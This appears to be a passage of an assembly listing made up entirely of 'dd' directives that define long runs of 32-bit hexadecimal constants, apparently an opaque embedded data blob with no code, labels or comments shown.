dd 0C832F14Fh, 165013E2h, 4240E87h, 2FF024A0h, 0A0F8B791h
dd 0A99F0916h, 0D4B824A9h, 430005EEh, 2BF6A21Eh, 0BFD66426h
dd 1588D4AAh, 6205FC84h, 0F1464A3Ah, 0DC6E2B14h, 75552500h
dd 80F023BDh, 0AFF52216h, 8EAE9CB8h, 0D79D20CCh, 0E895C6E9h
dd 842C50B6h, 83A6239h, 45031198h, 7920188Fh, 935B086Ah
dd 0CC1D3480h, 0F009E720h, 63668140h, 0BC3E20F4h, 0E9820819h
dd 59888B68h, 0E40C2589h, 400C18D2h, 11C4B405h, 0FC062D2Fh
dd 0E5830837h, 96164818h, 0C6206E08h, 84A2B18h, 18F32131h
dd 0DC017499h, 3B12013Dh, 0F140888h, 8097608h, 5F0C1BC4h
dd 639870E8h, 394208FEh, 0E5751811h, 0A331D420h, 1F2A08FDh
dd 10DF2091h, 0B522EA2Bh, 8CDE131h, 9F03D5DAh, 4031988Eh
dd 0D02910DEh, 98A8088Ch, 10633A18h, 183C2550h, 189B5C08h
dd 8C4AA17h, 0A804F06Dh, 0E04A06F1h, 0F2332040h, 10DC4831h
dd 6001BEE6h, 0DB48880Ah, 295418A5h, 0CD80CEC4h, 6920C622h
dd 0C72010D8h, 0B091542Bh, 10156252h, 0F802977Ch, 41A20326h
dd 990D0833h, 6361EE5Ch, 0F7D848E3h, 0CF071010h, 3188B32Ah
dd 6218BF10h, 0C30895A6h, 6F271280h, 82C3448h, 130C499Fh
dd 6355080Eh, 5CA730EDh, 0D3010818h, 811C1138h, 6B918C18h
dd 407B0832h, 0C463273Ah, 10C78130h, 58EC0E08h, 48F9669Fh
dd 81626608h, 5D5411F2h, 70638794h, 63F49410h, 408AD139h
dd 0F5D61810h, 1004CA19h, 6C5024E6h, 0CCC7EF40h, 54D134C1h
dd 81E5E1CCh, 28C962EDh, 0C1061DD2h, 983954B9h, 8E7635Ch
dd 2818BBF8h, 608918Fh, 0EB28CA43h, 0C3D988ECh, 1823D30Ch
dd 8B934026h, 1D40DF66h, 0C66F77D1h, 28242908h, 0AE993D66h
dd 91E46649h, 8CE0095Ah, 4AF66781h, 0F038A234h, 42DD035Ah
dd 5EC04010h, 3290512Ah, 6908CBA8h, 0A7969048h, 0E42594AAh
dd 0F5C844D2h, 184B04C0h, 438E904h, 24091944h, 921CAC24h
dd 7C493F30h, 5FFC52A1h, 0A14A8A2h, 2A311803h, 6290BB08h
dd 306B6178h, 7C97ED04h, 7118EBF6h, 34F38112h, 36404F14h
dd 4398A9F8h, 64597834h, 0D18D0879h, 1CC3310h, 6F001309h
dd 814CED76h, 299480A4h, 584E0302h, 0C021CECh, 765BEA2Ah
dd 8CD224C0h, 0DB74C60Fh, 162000E0h, 89CA219Bh, 5E496086h
dd 19223Bh, 0FC04E0A3h, 0EFB57523h, 5FDAD3D0h, 1ED4F2FFh
dd 0A70099BEh, 4DBF1E38h, 7EBA0FAh, 0E8000AFh, 4ED9A8EAh
dd 0B90090E1h, 84C0C118h, 1EC6D195h, 0C09AC838h, 21AC9188h
dd 300947A3h, 40C78057h, 3DC4E98h, 19382018h, 0AAD3F188h
dd 83CC53E1h, 0FEE04EE9h, 0A8AC8833h, 6508F0A6h, 835711FFh
dd 2802B9C5h, 4C45C746h, 0FF1CA0CAh, 208018EAh, 80E17EA8h
dd 0A3BD2611h, 0B8D5E51Bh, 0B57403FEh, 0F5CD1C3h, 584CF000h
dd 0C5A949DBh, 0FC29006Ch, 40D93FBh, 0C964580h, 3CED6716h
dd 0B50F224Ch, 62C38EF4h, 0B380BECBh, 0A9039B49h, 78D208E0h
dd 0B85801D6h, 0DED1A3CDh, 8010B933h, 6C7B66C0h, 9BE598h
dd 29C777E8h, 10C3F9EBh, 4E1F6A00h, 69E4B001h, 7F280085h
dd 93E84626h, 520CDAA6h, 88705480h, 0ADFE3C0Eh, 0F403162Fh
dd 0E05A2990h, 60930E4h, 8805F7Eh, 9D042061h, 0E588B71h
dd 7868F0A9h, 0BC560018h, 0F7B84DBEh, 0B5AD2302h, 51A4DF4Eh
dd 681D8ED4h, 60580750h, 9103B0EEh, 254006B4h, 303964E6h
dd 0BA3C821Ah, 2284E028h, 0A081B7A9h, 51CB16A0h, 2FB2E6A0h
dd 0F7998000h, 0C3AF3480h, 0A4EA4898h, 10F1A6C7h, 50DCCE1Eh
dd 21769C0Ch, 2A54B07h, 0C2792060h, 9D7CF472h, 782AB1CCh
dd 90C5E8B6h, 70456270h, 7E00A89Eh, 2DC9620Bh, 0AC06FA82h
dd 0D1182820h, 0ED41BB90h, 19B666A2h, 0C97C6052h, 1B102661h
dd 107FD5FDh, 29148480h, 2485A4F0h, 7EB0272Ah, 38261413h
dd 459D2387h, 80AC0648h, 8A75E11Fh, 268BB8A1h, 0D480162Ch
dd 53684E0h, 93435E31h, 378A899h, 0F95856C1h, 0B7190230h
dd 79E6B3A8h, 27332870h, 7C9950A5h, 6ADB2A08h, 0E1871FF8h
dd 0D896419Fh, 6E32D201h, 2D375400h, 2ABF7B3h, 0B5B8FA58h
dd 0DB81CCEEh, 8064A680h, 3BA78B88h, 6081E6A1h, 8A7150C4h
dd 78A00D58h, 84A433B0h, 0B8FCC01Ch, 777E09h, 0BEB38E9Ch
dd 0A5C8A9F2h, 40D9844Ch, 19D46D0Ah, 31BB054h, 8F4C06D5h
dd 8462D45h, 0A068802Ah, 0A5040E03h, 9F2A1086h, 0C4EBEDB0h
dd 0D2161660h, 28D0C043h, 7095F496h, 25E634F8h, 0E0C85C1h
dd 0C5E95214h, 0AFC5828h, 964FD29h, 0F003A360h, 0C8249241h
dd 0C93C3CC8h, 33025830h, 0E0BB29B9h, 0A318615Eh, 600AA2A3h
dd 9478280h, 57678833h, 0EABC1084h, 9F4CEC46h, 10DC81D0h
dd 0EE22900h, 0A7D08900h, 0E9D21C86h, 0A8983Fh, 9E95525Eh
dd 6D31C071h, 0CA2CBB03h, 7B5DBFD1h, 4EB12420h, 64D9158Ch
dd 189E5208h, 87FE1A38h, 0D1B6C0C0h, 2919C340h, 1A08694h
dd 6954DF80h, 0C17EB4C4h, 0E50928A6h, 41B0CA2h, 6712B2C4h
dd 63A80310h, 0E45A6005h, 2C82209Eh, 0C3E8841Bh, 41D66C9Ch
dd 580051B0h, 82F4480Ah, 710EC430h, 1271A3DDh, 370F5888h
dd 0BC288804h, 22CC6251h, 0C0544030h, 8B979B09h, 467C0295h
dd 0EE990068h, 0C960B480h, 87D8C648h, 24009FDEh, 0CF67C8Eh
dd 2C95F718h, 54D24B38h, 0F62EAC61h, 79D7DC3h, 0BC8CBFF3h
dd 9638409Ch, 9E0017C0h, 0F415C9DCh, 1C2B535Fh, 96CBA6F5h
dd 8654043Ah, 0F8EF4CAFh, 408C407Dh, 3110BF62h, 18180974h
dd 949A30D1h, 0E1580B01h, 0A5F7B63Ch, 20F087E9h, 694B39Bh
dd 381AA6E6h, 74E8C109h, 97C882CDh, 2AC48580h, 0A6FBBC81h
dd 4E87D5D0h, 0F7D48058h, 94010B97h, 568116D9h, 34355380h
dd 0EE6E830h, 505A271Bh, 4527F46Fh, 2B69AFD5h, 80FE68A0h
dd 0C49B52A7h, 2840C420h, 0C864A09Eh, 8A2A806Dh, 53B99D01h
dd 0C6B1E630h, 0D522B189h, 9EA7CC90h, 0E6006DE8h, 0F48EF5E4h
dd 4C1622B6h, 0C445C8AFh, 0E60B1C26h, 0C419A6BDh, 487C6694h
dd 0C321F60h, 0A1AF7F4Eh, 6EE15BAAh, 17E7FDF0h, 762968h
dd 921C5DA4h, 0F703D8D1h, 0E6A9C0B7h, 58D62Dh, 0D040078Dh
dd 97982845h, 80E7991Ch, 0B443BD56h, 5A20D1h, 75CB0699h
dd 0EF18300Bh, 0F680C9C4h
dd 88641D12h, 670458E3h, 9CD0B106h, 9840B58Dh, 0E62A0800h
dd 5C1C734Fh, 0D4DA390Ah, 3D103F94h, 0ED0C0CAh, 89EC59D4h
dd 507CCE09h, 0BE9B093Fh, 71B80726h, 0B893843Eh, 622018C7h
dd 0FC1648h, 347A3033h, 0E6109B7Eh, 89D022F0h, 0FB460AA8h
dd 5A41A0ABh, 7FC09F08h, 1338905Eh, 5DD4F480h, 43D9349Ch
dd 0AD0D67DCh, 0CCBD4928h, 3C6B0F20h, 9B009029h, 0EE9880F2h
dd 4F055B9Eh, 1A16ADE9h, 5852DE00h, 656D07h, 2869CA0Fh
dd 0D0C05D80h, 0E2CE140Eh, 0C607C357h, 62ADC1A7h, 69300070h
dd 149088D5h, 0C91AE92h, 0C08D8131h, 1D51107h, 6F343583h
dd 5C51B8C1h, 3DD07ED0h, 9A0289C2h, 62EE91C4h, 9528E860h
dd 18AC22E9h, 12E8F743h, 190E6FCh, 9796A0C6h, 45D0CAD1h
dd 0B8605494h, 38BE0A19h, 0BD272028h, 0A800839Fh, 0AEA7AAA6h
dd 0A1428190h, 31C0769Eh, 9844B0F1h, 8B9D449Ch, 0BE2600B8h
dd 0E80B0C96h, 0C1881248h, 7FE16718h, 405DAC24h, 970028C3h
dd 204455DDh, 8838A9E6h, 0FC90B3FBh, 0D27F8812h, 0BECC8844h
dd 0B02690C8h, 92D1160Ch, 0C0881F8Ch, 75947151h, 0DB20A6D4h
dd 3ED11025h, 44592716h, 32A609D4h, 80D8BD88h, 0F088CC93h
dd 0DE0BC0DBh, 88929F20h, 5AF83820h, 544C4015h, 37B6684Ch
dd 179C0D00h, 0B9B0EC0Ah, 0EAE1CFAh, 0E558C108h, 0BF884C8Fh
dd 672E84E0h, 3894A3CCh, 5F349809h, 6220A8ACh, 0D8BEAB26h
dd 80D3CF81h, 0A0832514h, 3A29D198h, 585CC800h, 4D38A6F3h
dd 44D2182Dh, 82281845h, 0BDCA1B01h, 8803CDE4h, 27A8402Eh
dd 97300146h, 4931091h, 0FC004056h, 876798Fh, 0D6B87B2Eh
dd 2E041C4Eh, 40AA1805h, 9D00DF35h, 4222636Ch, 5BA767F7h
dd 0C4E840A4h, 0DAD3EAFCh, 40E0E61Ah, 4A28E658h, 1F648858h
dd 8B4D0890h, 0C74E0020h, 89830445h, 0C8F0C805h, 81B89103h
dd 0E4AAE2F8h, 30550B4Ch, 0D818EA4Eh, 21D07DC3h, 154019Ch
dd 2F05B52Eh, 0B12CD464h, 49DB00D0h, 7194F567h, 0AC80023Ah
dd 0F7805CA3h, 0C9898EB1h, 4E2C0087h, 97DA3AE5h, 0B378FA51h
dd 1295CD03h, 0F85A588Dh, 4F6876h, 51D4A60Fh, 28B51DB8h
dd 0BC838700h, 90DF5C4h, 0FE5802A5h, 0B2465B6Bh, 0F26338C8h
dd 58601082h, 9001978Eh, 229F4430h, 6E24703Ch, 560F5047h
dd 804D02D4h, 9004692Ah, 961D0038h, 9152D1h, 0E6A8F980h
dd 58CE6362h, 0D0BD05B5h, 9CE4BC44h, 0A8A0804Bh, 403934B9h
dd 0C13E087Fh, 4CA849F1h, 17DB2240h, 44241FC9h, 0A40B1B40h
dd 0A802318Ch, 4F80ADACh, 26A0E569h, 39E6C188h, 6018A67Dh
dd 609DE300h, 7EC98C0h, 7E76289Ch, 8C2EA2EEh, 1C860960h
dd 0C5EA2A0Eh, 6006E0ABh, 28B7F0h, 0A317E79Ah, 0C7DC4E69h
dd 9649D401h, 2EE692A8h, 0D221C424h, 0B05800E1h, 0DD26FA47h
dd 4081949Ch, 5B0145F7h, 4A466FEh, 4ED1EF60h, 0D89C8053h
dd 5230E67Bh, 0A081B10Ah, 0C1BA247Ah, 3812B8C8h, 0D0341197h
dd 4E8D274h, 0FCA584h, 0ED054E33h, 61EC009Ah, 0A0938328h
dd 0E61813D2h, 23583CB2h, 0C9489CB5h, 7B761880h, 0C902220h
dd 83E86700h, 0FCA8FAA3h, 3A811239h, 270376Eh, 0ECA0B6EBh
dd 17592005h, 0DD1D517h, 9491F8A4h, 0E2978950h, 84482C84h
dd 0F08CB548h, 0C8961CC4h, 1CFDA114h, 7E0CB175h, 1225686Fh
dd 32EE2990h, 0D110E1DCh, 13892D4h, 0A76D78FAh, 0E9E69D3Bh
dd 82209474h, 7C08BC4h, 5C06B868h, 1BF5F8B1h, 201FF0D1h
dd 8AE6A2EFh, 7C2C08DCh, 0D8CC28C5h, 96D4B266h, 4382E2Ch
dd 126A1C01h, 0ED60A080h, 671FE0B9h, 0CA2DC07Bh, 0A6C834F8h
dd 33B32080h, 8E10C28Dh, 7D301FC0h, 0C91C378h, 0F11040A4h
dd 50E9BE02h, 60C2FAD8h, 0C482DC3Bh, 15D8B8A1h, 5D038B4h
dd 9D4081B6h, 89BD848h, 620BB205h, 33D014BBh, 0AE50C27Ch
dd 8294A181h, 81095838h, 896FC30Eh, 6883FDE4h, 0C34A8A29h
dd 0C8CF32D1h, 9E779CA5h, 90BF7930h, 0B5B2803Dh, 5E300C01h
dd 0DD62F597h, 58CBCDD3h, 90415C3Ch, 149F4064h, 10D48971h
dd 1F44234Eh, 0A48B2027h, 0E20BC714h, 2CB91882h, 0F077A0C4h
dd 0D1634804h, 0DCB2DF30h, 268E7100h, 0BE091634h, 2CAD6600h
dd 0AF9AB187h, 94FB5856h, 1EAE533h, 0A9F438B6h, 0E2BE618h
dd 9B41280h, 0BC657B10h, 0F1001CF8h, 895E73C4h, 3F149907h
dd 0B2981FBFh, 22F038A8h, 2659B080h, 80B88C80h, 0AB81B99Dh
dd 66587195h, 79DA0320h, 0E0EC88FDh, 849AC768h, 94082849h
dd 0E520024h, 1E198DB7h, 7A300304h, 0AE48B89h, 98AEFCE0h
dd 2E9FE800h, 8629CE82h, 477F00C9h, 0B4146040h, 97EC90C0h
dd 0E6284504h, 78905E93h, 6B17986h, 2C80626Bh, 0D125A9C6h
dd 0F4F0D038h, 7FBB04AAh, 0C80E8093h, 0A54406B4h, 0A3BD1CBEh
dd 0B8B5C499h, 0EF28F0C6h, 200347E8h, 2F80F99Bh, 0DE390078h
dd 0B133E206h, 10C0ACFAh, 0DD6F566Dh, 847F2487h, 2DFD873Ch
dd 0BA851095h, 962E535Fh, 0E6058E5Ah, 0F0CA5740h, 96ABCA12h
dd 0F901D0D8h, 1829777h, 0D023F0FBh, 10202A2Ch, 62245244h
dd 6A1E8018h, 0C3B8CB50h, 238D667h, 2B57E3CEh, 0B4E41398h
dd 0F4B22DE0h, 0A230E6E8h, 0E85C1808h, 0D1C9127Bh, 91588675h
dd 2BD2C27h, 4084AB80h, 0B604801Ch, 0CB600AD0h, 800753F4h
dd 9E566A50h, 57E401BFh, 4FC46728h, 0C1622606h, 0A98400D4h
dd 0DA4CC7F8h, 0CFFF2CC0h, 4ECB01DFh, 719031A4h, 6C0404F8h
dd 0C2076D03h, 7ABF2082h, 619F5FC1h, 0C8936FCDh, 4C7CCA45h
dd 0ED210260h, 0C0897833h, 2E98608h, 5292D68Fh, 14A0052Ch
dd 0D18A37ACh, 508C4C00h, 0C68B31Dh, 573906BEh, 8019D680h
dd 2694974Ch, 13274884h, 0D400070h, 0DB1287FAh, 4E03E103h
dd 0AC8097E6h, 1B380A96h, 2C982EADh, 729ABFD8h, 0BC83A869h
dd 582591A7h, 1B483FFh, 8852CD2Bh, 405AD809h, 94B362DCh
dd 0EFCCA46Ch, 831141Fh, 0D20DD802h, 0AB0F0442h, 512892CDh
dd 46E40824h, 6310711Ah, 0AC88E414h, 73BA0E81h, 0EA0B8063h
dd 0DC985044h, 2A02FC87h, 51B27067h, 0B69180C8h, 21B74D0h
dd 11E68E09h, 0F034C410h, 10156720h, 0AC6502ADh, 9B302C40h
dd 0B1A8CC0Ah, 0F81D8898h, 0F85C1325h, 26A27773h, 5C2665h
dd 0C40B2231h, 97A12E5Fh, 7C40D2F6h, 0F2004F5Ah, 8DB88485h
dd 1EFB29h, 58685378h, 1B54A6FEh, 1D08058h, 5A2788DAh
dd 0F8A0F8C0h, 0E62F0B08h, 0D8227C3Ah, 5F008A2Bh, 1D661550h
dd 4E92CE79h, 9549251Eh, 60E0880h, 0E30058AAh, 616A538Fh
dd 24BE429h, 8009C082h, 88C8466Ch, 580951D8h, 8045EEE6h
dd 2FFE9A86h, 1BE1014Eh, 0A863FD1Ch, 0DF09E1AFh, 0CA561116h
dd 0AD52BC5Eh, 2ACEE040h, 787007C4h, 9C33005Fh, 0B2FF9917h
dd 56485AA1h, 0D4FA3E18h, 0E05F80DCh, 52969402h, 12A876F1h
dd 8A0C1620h, 253070DCh, 302A6889h, 5D660E44h, 541D63C6h
dd 102FCB5h, 0DF19BDFDh, 95C010E2h, 46030BC2h, 68032A24h
dd 0EAD1C055h, 9AC81F4Ah, 0DC60C037h, 300A5853h, 29CC1500h
dd 0CE33D472h, 3CC8BE08h, 40B2E5AFh, 58AB4448h, 5BD98018h
dd 5DCBFA0h, 2BA7310Ah, 0C07C8526h, 0E910C450h, 590048BAh
dd 0CC529D24h, 0B867B2C9h, 0D07E61F8h, 2CB7F6D8h, 28149618h
dd 94C096A8h, 0B7BD7BE6h, 96354802h, 0A4ECCCE3h, 0B6006EDCh
dd 0F34C5BE0h, 10FDC3A6h, 7B165DE5h, 909A38E0h, 0D6075805h
dd 0E8819277h, 0EC280524h
dd 17E30A1h, 6C605BB3h, 9005483Bh, 85F6BEC5h, 8128F010h
dd 594840h, 9A294D09h, 0CEFE1AF4h, 0BD09C37Ah, 2371E73Ah
dd 88B51F58h, 0F02996h, 0B35EA56Ch, 28C205D8h, 6A4B5C9Ch
dd 0C574E2A0h, 0D19883ACh, 0B81E2E02h, 0D6C0B92Ch, 0FADB5856h
dd 83B804C0h, 0D01DF0D1h, 0DD4E7BA0h, 944BC894h, 82E82008h
dd 549D6D0Eh, 0D1C09F0Bh, 7FAD99F7h, 7C7E3080h, 0CBD8720h
dd 0C824EA00h, 4FFDDC69h, 99E9013Fh, 0D84779CDh, 0D4F8C2D1h
dd 0E6B2FA04h, 5CD0A090h, 7FC6DECh, 0E7583494h, 74BE3161h
dd 0B0E1C2A9h, 23118962h, 0A0444CBDh, 0DC91E730h, 3BDEDEA1h
dd 544838D9h, 2F9CB870h, 689236ABh, 202A4CC1h, 88BCB6A0h
dd 0F04CCC26h, 0A844B328h, 5BD17F70h, 0DDDCC38Fh, 0DE4D1018h
dd 4A4E7621h, 0D78C23E0h, 0E2490B4h, 0B13B702Ah, 80EB8579h
dd 0D0B45C4Ch, 830200ADh, 44823024h, 2605C7B7h, 9A2FCBCEh
dd 0FE60807h, 9F9158FCh, 81B25480h, 60C7A110h, 509DBF80h
dd 0FD07B439h, 90375316h, 0E62EF099h, 0D444C6A2h, 6CC2884Ah
dd 0C53CF24Fh, 0F03D8770h, 9FA307Ch, 1D0CD779h, 0A8FEE31Bh
dd 73800C5Bh, 0FDB8AA02h, 0CA14BB0Bh, 0AF3CA08Ah, 71F0932h
dd 0F1C05141h, 91AA32B7h, 9E652C60h, 58A0A800h, 264BFDF9h
dd 7DC98A2h, 0FE8CE554h, 80DC6A80h, 2AAEFD0Eh, 0B6EAD192h
dd 7AE8A4A0h, 30B9C903h, 0C8FA6711h, 0C04EFC80h, 585407B9h
dd 4F0594E5h, 0C2D23B5Bh, 0E16084A1h, 568273C3h, 0E118E0B4h
dd 0EE3610C9h, 0F769DE07h, 0B6C7F8D8h, 0E01C4B9Bh, 690F0DEFh
dd 0A491A896h, 61D1C0D8h, 4C608D65h, 0DCA884C4h, 0EE919500h
dd 0AB0C312Bh, 5B7903Ch, 876733DEh, 0E4A0DCD5h, 60214C9Eh
dd 28EBF000h, 0B85B0498h, 7A70EE58h, 76921A03h, 0DEBD8068h
dd 0E089858h, 840DBCF7h, 0A88D5904h, 9C6092BCh, 0B158CC67h
dd 0B469CDCh, 2CE4525Dh, 0B304E920h, 0BED38138h, 0F4392B58h
dd 9100A820h, 4615EBAh, 1E32ED23h, 288729Eh, 0FACDD201h
dd 0B583BC54h, 0D2EEEDA6h, 816237h, 2B159108h, 0B2251FBAh
dd 0C7400BC0h, 9F0C7C80h, 58A0ED26h, 2F00CFCEh, 1AAD497Eh
dd 4F2995BDh, 56B844EAh, 0E798C1B4h, 0A733015Dh, 5A9187F8h
dd 7FA043C8h, 80C4F7BAh, 0E5863FE8h, 16C00D00h, 464C54B4h
dd 0BD2A06F2h, 0F826B6E6h, 0D0FAC92Ch, 401FE00Fh, 9348F45Dh
dd 0FDDE26E6h, 0A48C230Ch, 1C3E02D8h, 0CC881E6h, 0B54F9523h
dd 9028F03Dh, 0F3C80112h, 482C5D64h, 3AC3A30h, 0D471929Bh
dd 0A9B5E260h, 0E298B3E0h, 4D45CEAh, 742DE6h, 0DD3B8A29h
dd 980A0AB8h, 0C09EECh, 0F5FAA91Ch, 0FD00D04Dh, 5F419727h
dd 1471F160h, 8C9433D9h, 0AF63C30Fh, 9DE89823h, 43521181h
dd 0A14C2DA8h, 4E1DEA0h, 0D689E9D1h, 1F16E070h, 2404B58Dh
dd 9C0009AFh, 0BD19A907h, 888CDC00h, 53B20CABh, 754E0572h
dd 900E94D1h, 5B339820h, 0CE05D602h, 89803041h, 3258A508h
dd 655A48B0h, 0B8F0A00Fh, 0D64C0188h, 0CDE72C9Ch, 0E0FDF024h
dd 6984246Bh, 0F03D0014h, 0F7D836A3h, 0BE31D119h, 5C715670h
dd 0B73C06Dh, 0EF4C2C87h, 304260C6h, 35810h, 0F5619A0Fh
dd 6184A1B3h, 462A3040h, 32C031FCh, 15921680h, 82A80420h
dd 79C3A3E6h, 0B5940F10h, 0C8E39991h, 80D99A09h, 88747431h
dd 0CB37AC00h, 2353D4CFh, 0DD050F4Eh, 0B8896C46h, 0D0C99081h
dd 0FD87F232h, 20ED3009h, 0A748409Eh, 29099C9Ch, 0A0547095h
dd 3D2A51D8h, 80E1D2E6h, 0E8DE3813h, 0B05CB8B6h, 48700E4h
dd 0D89FEB66h, 0EF2A2801h, 0E6300908h, 1453174Ch, 0F4012D16h
dd 0C85604D1h, 9588E089h, 6712CC58h, 30C975BEh, 1385483Ch
dd 0F2A8D27Bh, 2C38B4FCh, 962D2CFBh, 139829B0h, 842CA0h
dd 1F1D7FDh, 1971AC84h, 0A6E2E618h, 0B0772051h, 88A49938h
dd 2C1F9192h, 84900913h, 4CA3C5BEh, 0B814AC99h, 84D2F48Eh
dd 0DB818334h, 3C8D684Bh, 3C8BAC64h, 0B44E87E9h, 0EB406288h
dd 2E64B67h, 0FB42D1A0h, 535F7860h, 0C93DE00h, 45AECDF8h
dd 91902FE1h, 7D8849h, 496CB6F0h, 9909E06Eh, 84718F71h
dd 9CEF1B8Ah, 1172A20Ch, 984CF0EEh, 0B82D1D1Ch, 1CC813F6h
dd 2494663Ch, 0E2B0802Ch, 5AC800Ch, 9F8EF203h, 5FC0FD1h
dd 73EA8198h, 54E8A4AAh, 0CF6D8002h, 42908EF1h, 0B24593Ch
dd 0CC40B51Dh, 8B9D4CD1h, 0C10C63E8h, 28A7CDB8h, 4672A846h
dd 0B730F164h, 0AE0328A3h, 0B352883Ah, 0EF01100Bh, 0C0302265h
dd 36780C67h, 5CEB6A00h, 2FD80A5Ah, 0A37D009Bh, 30A68CEEh
dd 0E60E5857h, 36C16BC8h, 82F294C8h, 90090056h, 2604DBBAh
dd 286718BCh, 4F38C338h, 7E808CD2h, 0B890203Fh, 0FF18286Ch
dd 214824F8h, 0A04E0060h, 34982909h, 0C04244Bh, 7100060Ch
dd 0F6CC80E1h, 6EA8FCA8h, 2A7C9095h, 0D10023Ah, 0E103E986h
dd 5A12F2E0h, 27D83E01h, 7A918A7Fh, 980212Fh, 0F001054Bh
dd 0C29DEC3Fh, 6A111070h, 7D919BEh, 25ADCC7h, 30F081BBh
dd 70C8974Eh, 0C3992D2Eh, 0BC2E34A9h, 5859AD82h, 63A924C1h
dd 846700F0h, 0D16F05AEh, 5CF4AAC0h, 65702ED0h, 968B8D8h
dd 4025E632h, 0F19180h, 4A5C3CD4h, 29179BECh, 0AD3F15FCh
dd 9D9400C0h, 602ADB61h, 672B0052h, 85B74EBDh, 0F9D5AD1h
dd 0F57D615Ch, 0E6D02AE5h, 907E4F15h, 308E723Ch, 6587403h
dd 0EBAE483Dh, 0D750B8AFh, 0FA370E67h, 0A86041FBh, 68E0D18Eh
dd 90B1B983h, 0FA7843Ch, 0F7284033h, 1CCDD19Dh, 805120C4h
dd 0AC437984h, 88E77208h, 0F9E2898h, 0D4EB4D6Fh, 8E66D080h
dd 2062A614h, 7585D1D8h, 6C200Bh, 997C9627h, 0D180A468h
dd 8F2881AAh, 31027F34h, 0A8A9119Ah, 4270C2B6h, 40145C0Ch
dd 0BEC2F051h, 98800D09h, 4ED40103h, 0B8ECA0DDh, 596C92F3h
dd 1F2EB0C1h, 0B48B1724h, 4E40DB74h, 0ED792ED7h, 23DF00A0h
dd 2854C1ACh, 0A006E618h, 32808EA1h, 95B8F944h, 69CC76h
dd 11720734h, 0F0FFFEABh, 110662E2h, 34E1BEB8h, 0E6788C99h
dd 7AD0E117h, 792C90D1h, 1AC700E9h, 80EF6EAh, 0E6182BAFh
dd 0B4280CCBh, 0E7613259h, 344BDD2Eh, 98189790h, 50000B74h
dd 0A990AFC0h, 27482FFEh, 7804A4DCh, 8B64C1B8h, 8587D8Dh
dd 4285080h, 0AC8718E6h, 2C0202F4h, 5E4E9967h, 8C3045A4h
dd 3213D2E4h, 901796B8h, 0F884FC82h, 0C82D4B10h, 80F6711Ch
dd 67EC0554h, 18760E2Dh, 3C493064h, 2FF915Bh, 4472312Bh
dd 0A48F6A11h, 0D09DF2E0h, 0B871F9C8h, 1204A65Dh, 10A0BF80h
dd 95712C8Bh, 87916480h, 5F031888h, 0AF31980h, 0EC298A28h
dd 728F4FCCh, 0B99C32D3h, 0F70B145Eh, 1F0073Fh, 0B0E263C5h
dd 8216F456h, 8680214Ah, 0C3B90189h, 40D43424h, 3B003104h
dd 29870BA3h, 0E473C58Fh, 84B869h, 0E2598AB5h, 0CB4B30B9h
dd 8B851E8h, 83C0C202h, 0A2F43FE6h, 0C933DBC0h, 2461C8A0h
dd 4B6AC34h, 1DC4B2A6h, 8120F060h, 1C30214Bh, 124B4E5Ah
dd 71E6863h, 59B713C4h, 0E856F909h, 94C2E824h, 0B8307BACh
dd 8959F817h, 0D2C33144h, 821C4452h, 206DCF4Dh, 8E11770h
dd 0FAAE126Bh, 0BDF000A6h, 8844495Fh, 99B68730h, 6D2CD1F2h
dd 0E04938BCh, 98BE8B5Ch, 5084542Ch, 0ADCC5Eh, 3CFDA444h
dd 0AA582941h, 9FD48707h, 0FC59F00Eh, 0A5262BB2h, 661A2099h
dd 5178C458h, 3862244Ch, 584C923Bh, 93C5A2Eh, 88586787h
dd 0AD08C001h, 2C46B37h
dd 0EB79E860h, 5BFBFC50h, 45C49C4Ch, 48C49802h, 0CAA50313h
dd 28A98844h, 28C0620Ah, 0C71D203Ch, 50B5971Eh, 23A0C609h
dd 0C6A3D158h, 88BF17F8h, 9340C040h, 6C9428B3h, 69A5D84Ah
dd 783C2AACh, 486915A1h, 0C09679D8h, 13672A09h, 96500254h
dd 0BD77F431h, 7FB0C1h, 0BED5041Bh, 0B0C812C8h, 0DA506900h
dd 181CC188h, 0B4E4861Bh, 0A282742Eh, 58810847h, 31527C8Ch
dd 0BF78CEE3h, 1B3893EAh, 1C226008h, 0B88B15ABh, 47095800h
dd 0B5D2BD50h, 90E02E69h, 6EFF1A0h, 5A82E9A8h, 0C04BC92Ah
dd 0E1586081h, 0B82F5DF4h, 0ACCC48D3h, 680E44Ch, 9B9AE4DDh
dd 0AB6025E0h, 64E62630h, 1A80C012h, 94F89FBh, 62501158h
dd 0D0B03090h, 2E71E02Ch, 9D832D0h, 641A08F8h, 7B2EC880h
dd 280173BDh, 2F615292h, 0A06CC795h, 8377C8A2h, 0E0942C80h
dd 0E9521FAh, 4E30C2B8h, 79EA801Fh, 0E4862880h, 0D9C98900h
dd 376B189Dh, 3E5FB092h, 7412D096h, 2D00001h, 0A86287C3h
dd 0E07B8678h, 7E2811C5h, 0D1951402h, 526C682Ah, 83FD2E58h
dd 51AF8134h, 34A9E62Eh, 0D324D14Ch, 0EF053076h, 0B8C4C380h
dd 0ED27CC0h, 9EFC0729h, 0B1158228h, 0E1E6DA33h, 0E6C83554h
dd 5B036854h, 818BD603h, 5874D538h, 5245F11h, 0B920F8ACh
dd 6731C1CCh, 0A83C5881h, 4E640C9Eh, 0DA4BA991h, 7887CD6h
dd 7E3EC999h, 93C41456h, 0F18148F8h, 30013A8Eh, 25DAAE2Dh
dd 0A2C8C28h, 629CAEECh, 0A48AB51Ch, 44B24998h, 0B602C8F0h
dd 19C8058h, 41F076AAh, 81C532E6h, 1260F7A9h, 0C2D9524h
dd 2D54B0A4h, 88974024h, 78814842h, 52A894A0h, 6CAD9051h
dd 9F6D2088h, 0FE4F1500h, 8428B1F3h, 1BF5032Bh, 0A0CE4E21h
dd 0C08E7EF9h, 50B6922Fh, 71CE389Ch, 80F3E16Ah, 4C635732h
dd 81247C78h, 0FA74208Ch, 186BD40h, 34032A15h, 6F435B7Ah
dd 97288000h, 277B57B3h, 0CE0CDE4h, 0CF00750Fh, 0DC918CA3h
dd 5D50E630h, 35FB4CEh, 0B71AD1A8h, 0C00BD027h, 0B2554E0h
dd 0D585528Ah, 141D5859h, 5C891BC0h, 0D78328h, 0FC184E56h
dd 0E9B302Ch, 0D892E107h, 60BD5DE6h, 0BC13947Dh, 136CF362h
dd 14C851D7h, 5DDC01A6h, 2FA4B01h, 1FA43828h, 58CBB3BCh
dd 31A585C0h, 9D80807h, 5B54FAD9h, 297C908Dh, 3FE9C293h
dd 0BA75BC71h, 34261081h, 70565E84h, 4617FA14h, 3907B971h
dd 0B180B7F7h, 919DFD67h, 0AE68870h, 4BFC60ADh, 774F2DD2h
